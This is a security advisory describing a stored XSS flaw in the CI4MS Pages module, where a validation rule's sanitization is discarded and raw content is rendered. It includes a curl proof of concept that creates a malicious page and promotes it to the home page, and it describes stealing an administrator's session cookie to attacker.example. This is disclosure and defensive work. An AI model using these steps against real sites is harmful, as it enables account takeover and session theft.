CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule

Summary

The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index() → app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.

Details

This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:

public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    ...
    $clean = self::sanitizeHtml($str);
    $str = $clean;
    self::$cleanCache[md5((string)$str)] = $clean;
    return true;
}

CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.

Pages controller — modules/Pages/Controllers/Pages.php:

- Pages::create() registers the rule at line 82: ``php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], ``

Then at lines 102–113 it reads the raw POST and inserts it untouched: ``php $langsData = $this->request->getPost('lang') ?? []; ... $this->commonModel->create('pages_langs', [ ... 'content' => $lData['content'], // line 111 — RAW ... ]); ``

- Pages::update() mirrors the same pattern at lines 130 and 157: ``php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], // line 130 ... 'content' => $lData['content'], // line 157 — RAW ``

The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:

    <?php echo $pageInfo->content ?>     // no esc(), raw HTML output

CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.

This is distinct from the Blog finding: - Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog) - Different table (pages_langs.content vs blog_langs.content) - Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php) - Different route (/ matched by Home::index vs /blog/) - Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.

Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).

PoC

Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.

Step 1 — log in to backend, capture cookies: ``bash curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \ -d 'email=author@example.com' -d 'password=AuthorPass1!' ``

Step 2 — create a page with a malicious content payload: ``bash curl -k -b cookies.txt -X POST https://target/backend/pages/create \ -d 'lang[en][title]=POC' \ -d 'lang[en][seflink]=poc-page-xss' \ -d 'lang[en][content]=' \ -d 'isActive=1' ``

Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal `` payload.

Step 3 — trigger the XSS by visiting the public URL: `` https://target/poc-page-xss ``

Home::index() selects the row, pages.php:32 emits the raw ` tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example`, enabling full account takeover.

Step 4 — broaden blast radius (optional, requires pages.update): ``bash curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \ -H 'X-Requested-With: XMLHttpRequest' ``

After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.

Impact

• Stored XSS in public-facing site: any visitor to a malicious page slug — or to / if the page is set as home — executes the attacker's JavaScript.
• Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire /backend/* surface (full CMS administration, user management, file editor, backups, theme upload).
• Privilege escalation: the attacker only needs pages.create (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector.
• Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.

Recommended

Fix

Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:

use Modules\Backend\Validation\CustomRules;

// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
    'pages_id' => $insertID,
    'lang'     => $langCode,
    'title'    => strip_tags(trim($lData['title'])),
    'seflink'  => strip_tags(trim($lData['seflink'])),
    'content'  => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'      => $seoData
]);

// Pages::update() — replace line 157
$langUpdate = [
    'title'   => strip_tags(trim($lData['title'])),
    'seflink' => strip_tags(trim($lData['seflink'])),
    'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'     => $seoData
];

Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.